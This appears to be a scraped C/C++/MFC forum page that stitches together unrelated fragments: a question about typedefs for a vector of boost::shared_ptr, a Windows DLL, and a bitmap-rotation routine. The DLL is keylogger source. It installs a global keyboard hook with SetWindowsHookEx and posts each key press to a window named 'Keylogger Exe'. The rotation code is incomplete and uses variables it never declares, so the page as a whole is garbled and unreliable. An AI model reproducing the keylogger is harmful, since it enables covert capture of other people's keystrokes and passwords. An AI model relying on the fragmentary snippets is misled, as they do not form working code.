C / C++ / MFC

Le@rner wrote:

I really need to do this.

asincero wrote:

Perhaps I should I break out the Foos typedef into it's own header (perhaps
the header file for class Foo?) and have both class_a.h and class_b.h
include that?

class  Foo;
typedef std::vector< boost::shared_ptr<Foo> > VectorSharedPtrFoo;

class Foo { ... };

class Foo {
  typedef std::vector< boost::shared_ptr<Foo> > VectorSharedPtr;
};

#include "stdafx.h"
#include "keydll3.h"

#pragma data_seg(".HOOKDATA")//Shared data among all instances.
HHOOK hook = NULL;
HWND hwnd = NULL;
#pragma data_seg()

#pragma comment(linker, "/SECTION:.HOOKDATA,RWS")//linker directive

HINSTANCE hinstance = NULL;

BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
					 )
{
    switch (ul_reason_for_call)
	{
		case DLL_PROCESS_ATTACH:
		case DLL_THREAD_ATTACH:
		case DLL_THREAD_DETACH:
		case DLL_PROCESS_DETACH:
			break;
    }

	hinstance = (HINSTANCE)hModule;
	hook = NULL;

    return TRUE;
}


KEYDLL3_API void installhook(HWND h)
{
	hook = NULL;
	hwnd = h;
	hook = SetWindowsHookEx(WH_KEYBOARD,hookproc,hinstance,NULL);
	if(hook==NULL)
		MessageBox(NULL,"Unable to install hook","Error!",MB_OK);
}

KEYDLL3_API void removehook()
{
	UnhookWindowsHookEx(hook);
}

KEYDLL3_API LRESULT CALLBACK hookproc(int ncode,WPARAM wparam,LPARAM lparam)
{
	if(ncode>=0)
	{
		if((lparam & 0x80000000) == 0x00000000)//Check whether key was pressed(not released).
		{
			hwnd = FindWindow("#32770","Keylogger Exe");//Find application window handle
			PostMessage(hwnd,WM_USER+755,wparam,lparam);//Send info to app Window.
		}
	}
	return ( CallNextHookEx(hook,ncode,wparam,lparam) );//pass control to next hook in the hook chain.
}

HRESULT ClassName::GetRotatedBitmapNT(/*[in]*/const CBitmap* pcbmBitmap, /*[out]*/CBitmap* &pcbmRotated, /*[in]*/float radians )
{
/*
Remarks:	A rotation is first applied to the corner co-ods of the input bitmap wrapped using the top-left
			corner as the 0,0 point. This gives a new set of corner co-od's from which the minimum amd maximum
			X and Y values can be found and the size of a bitmap required to contain a rotated bitmap with no 
			clipping of the corners can be found.

			A DIB bitmap of this size is then created and both this and the input bitmap are selected into 
			respectivew DC's. The background of the DIB being painted black its origin being altered to the
			minimum X and Y already found, these being -ve so that in the diagram below the 0,0 points
			of both bitmaps coincide. 

				origin2 xmin	0															xmax
						\	|	|															|
						  \					bitmap to hold rotated bitmap						
					ymin--	-----------------------------------------------------------------
							|																|
					0	--	|	---------------------------------------------------------	|
							|	|\					input bitmap						|	|
							|	| \														|	|
							|	|  \													|	|
							|	|	origin1												|	|
							|	|														|	|
							|	|														|	|
							|	|														|	|
							|	|														|	|
							|	|														|	|
							|	|														|	|
							|	|														|	|
							|	---------------------------------------------------------	|
							|																|
					ymax--	-----------------------------------------------------------------

			The World transform of the second DC is set to the transfor originally computed and when the input(1)
			is BitBlt'ed to the larger(2), this transform is applied to each pixel so that the whole bitmap is
			rotated, fitting nicely into the second bitmap. The second bitmap is then wrapped by a CBitmap
			and the [out] CBitmap* pcbmRotated set to point to it.
			[out] parameter

						
*/

// Select source and destination bitmaps into their respective DC's
HBITMAP hbmOldSource = (HBITMAP)::SelectObject( hSourceDC, hBitmap );
HBITMAP hbmOldDest = (HBITMAP)::SelectObject( hDestDC, hbmResult );

// Draw the background color before changing mapping mode
HBRUSH hbrBack = CreateSolidBrush( clrBack );
HBRUSH hbrOld = (HBRUSH)::SelectObject( hDestDC, hbrBack );
PatBlt(hDestDC, 0, 0, (int)newwidth, (int)newheight, PATCOPY );
::DeleteObject( ::SelectObject( hDestDC, hbrOld ) );

BOOL bRet;
POINT OldSourceOrg;
POINT OldDestOrg;

bRet = OffsetWindowOrgEx(hDestDC,(int)xmin, (int)ymin, &OldDestOrg);

float C = (float)cos(radians);
float S = (float)sin(radians);

float T11 =  C;
float T12 =  S;
float T13 =  0;//- x;

float T21 =  -S;
float T22 =  C;
float T23 =  0;//- y;

// Use world transform to rotate the bitmap
// Set the advanced graphics mode to allow world transformations.
SetGraphicsMode(hDestDC, GM_ADVANCED);

// Set a two-dimensional linear transformation between world space and page space for
// the specified device context. This transformation can be used to scale, rotate,
// shear, or translate graphics output
XFORM xform;
xform.eM11 = T11;
xform.eM12 = T12;
xform.eM21 = T21;
xform.eM22 = T22;
xform.eDx =  T13;
xform.eDy =  T23;
SetWorldTransform( hDestDC, &xform );

// Now do the actual rotating
BitBlt(hDestDC,0,0,bm.bmWidth, bm.bmHeight, hSourceDC, 0, 0, SRCCOPY );

// Restore Origin.
bRet = OffsetWindowOrgEx(hSourceDC,OldSourceOrg.x, OldSourceOrg.y, NULL);

// Restore DCs
::SelectObject( hSourceDC, hbmOldSource );
::SelectObject( hDestDC, hbmOldDest );

pcbmRotated = new CBitmap();
pcbmRotated->Attach(hbmResult);

SetCursor(OldCursor);

return S_OK;